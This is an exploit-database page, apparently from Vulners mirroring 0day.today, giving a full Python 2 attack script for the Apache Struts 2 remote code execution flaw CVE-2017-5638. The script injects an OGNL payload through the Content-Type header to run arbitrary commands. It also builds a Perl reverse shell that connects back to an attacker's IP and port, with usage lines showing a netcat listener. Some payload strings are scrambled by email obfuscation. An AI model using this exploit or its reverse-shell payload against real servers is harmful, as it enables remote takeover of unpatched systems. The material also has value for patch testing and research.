Lucene search
K

Apache Struts 2 2.3.x / 2.5.x Remote Code Execution Exploit

🗓️ 12 Mar 2017 00:00:00Reported by anarc0derType 
zdt
 zdt
🔗 0day.today👁 2864 Views

Apache Struts 2 2.3.x / 2.5.x Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)
18 Jun 201801:35
ibm
IBM Security Bulletins
Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)
18 Jun 201800:34
ibm
IBM Security Bulletins
Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)
18 Jun 201801:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)
15 Jun 201822:50
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840
18 Jun 201800:32
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)
16 Jun 201820:09
ibm
IBM Security Bulletins
WebSphere Application Server and IBM HTTP Server Security Bulletin List
13 Jul 202218:04
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900
18 Feb 202301:45
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)
29 Mar 202301:48
ibm
IBM Security Bulletins
Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)
15 Jun 201822:49
ibm
Rows per page
# CVE-2017-5638
# Apache Struts 2 Vulnerability Remote Code Execution
# Reverse shell from target
# Author: anarc0der - github.com/anarcoder
# Tested with tomcat8

# Install tomcat8
# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638

# Ex:
# Open: $ nc -lnvp 4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --test
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --cmd='uname -a'


"""
Usage:
    struntsrce.py --target=<arg> --test
    struntsrce.py --target=<arg> --cmd=<arg>
    struntsrce.py --target=<arg> --ip=<arg> --port=<arg>
    struntsrce.py --help
    struntsrce.py --version
Options:
    -h --help                                Open help menu
    -v --version                             Show version
Required options:
    --target='url target'                    your target :)
    --test                                   check if target is vulnerable or not
    --cmd='uname -a'                         your command to execute in target
    --ip='10.10.10.1'                        your ip
    --port=4444                              open port for back connection
"""

import urllib2
import httplib
import os
import sys
from docopt import docopt, DocoptExit


class CVE_2017_5638():

    def __init__(self, p_target):
        self.target = p_target
    #    self.ip = p_ip
    #    self.port = p_port
    #    self.exploit()

    def generate_revshell(self, p_ip, p_port):
        revshell = "perl -e \\'use Socket;$i=\"{0}\";$p={1};"\
                   "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"\
                   "if(connect(S,sockaddr_in($p,inet_aton($i)))){{open"\
                   "(STDIN,\">&S\");open(STDOUT,\">&S\");"\
                   "open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};\\'"
        return revshell.format(p_ip, p_port)

    def generate_payload(self, p_cmd):
        payload = "%{{(#_='multipart/form-data')."\
                  "(#[email protected][email protected]_MEMBER_ACCESS)."\
                  "(#_memberAccess?"\
                  "(#_memberAccess=#dm):"\
                  "((#container=#context['com.opensymphony.xwork2."\
                  "ActionContext.container'])."\
                  "(#ognlUtil=#container.getInstance(@com.opensymphony."\
                  "[email protected]))."\
                  "(#ognlUtil.getExcludedPackageNames().clear())."\
                  "(#ognlUtil.getExcludedClasses().clear())."\
                  "(#context.setMemberAccess(#dm))))."\
                  "(#cmd='{0}')."\
                  "(#iswin=(@[email protected]('os.name')."\
                  "toLowerCase().contains('win')))."\
                  "(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:"\
                  "{{'/bin/bash','-c',#cmd}}))."\
                  "(#p=new java.lang.ProcessBuilder(#cmds))."\
                  "(#p.redirectErrorStream(true)).(#process=#p.start())."\
                  "(#ros=(@[email protected]"\
                  "Response().getOutputStream()))."\
                  "(@[email protected]"\
                  "(#process.getInputStream(),#ros)).(#ros.flush())}}"
        return payload.format(p_cmd)

    def send_xpl(self, p_payload):
        body = ''
        try:
            # Set proxy for debug request, just uncomment these lines
            # Change the proxy port

            #proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
            #opener = urllib2.build_opener(proxy)
            #urllib2.install_opener(opener)

            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
                                     ' AppleWebKit/537.36 (KHTML, like Gecko)'
                                     ' Chrome/55.0.2883.87 Safari/537.36',
                       'Content-Type': p_payload}
            xpl = urllib2.Request(self.target, headers=headers)
            body = urllib2.urlopen(xpl, timeout=5).read()
        except httplib.IncompleteRead as b:
            body = b.partial
        except:
            pass
        return body

    def os_detect(self):
        cmd = 'uname'
        resp = self.send_xpl(self.generate_payload(cmd))
        if 'Linux' in resp or 'Darwin' in resp:
            print '[+] Unix-like OS system detected.\n'
        else:
            print '[+] Windows OS system detected.\n'

    def test_vuln(self):
        cmd = 'hacked'
        print '\n[+] Testing ' + self.target
        resp = self.send_xpl(self.generate_payload(cmd))
        tags = ['<html', '<head', '<body', '<script', '<div']
        if any(tag not in resp.lower() for tag in tags) and cmd in resp:
            print '[+] Target possibly vulnerable'
            print '[+] Finger printing OS system..'
            self.os_detect()
        else:
            print '[-] Target not vulnerable\n'
            sys.exit(0)

    def exec_cmd(self, p_cmd):
        print '\n[+] Target: {0}'.format(self.target)
        print '[+] Executing: {0}\n\n'.format(p_cmd)
        resp = self.send_xpl(self.generate_payload(p_cmd))
        print resp

    def exec_revshell(self, p_ip, p_port):
        print '\n[+] Target: {0}'.format(self.target)
        print '[+] Dont forget to listen on port: {0}'.format(p_port)
        print '[+] Attempting reverse shell...\n'

        self.send_xpl(self.generate_payload(
            self.generate_revshell(p_ip, p_port)))


def main():
    try:
        arguments = docopt(__doc__, version="Apache Strunts RCE Exploit")
        target = arguments['--target']
        test = arguments['--test']
        cmd = arguments['--cmd']
        ip = arguments['--ip']
        port = arguments['--port']

    except DocoptExit as e:
        os.system('python2 struntsrce.py --help')
        sys.exit(1)

    x = CVE_2017_5638(target)
    if test:
        x.test_vuln()
    if cmd:
        x.exec_cmd(cmd)
    if ip and port:
        x.exec_revshell(ip, port)


if __name__ == '__main__':
main()

#  0day.today [2018-03-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2017 00:00Current
9.9High risk
Vulners AI Score9.9
EPSS0.94267
2864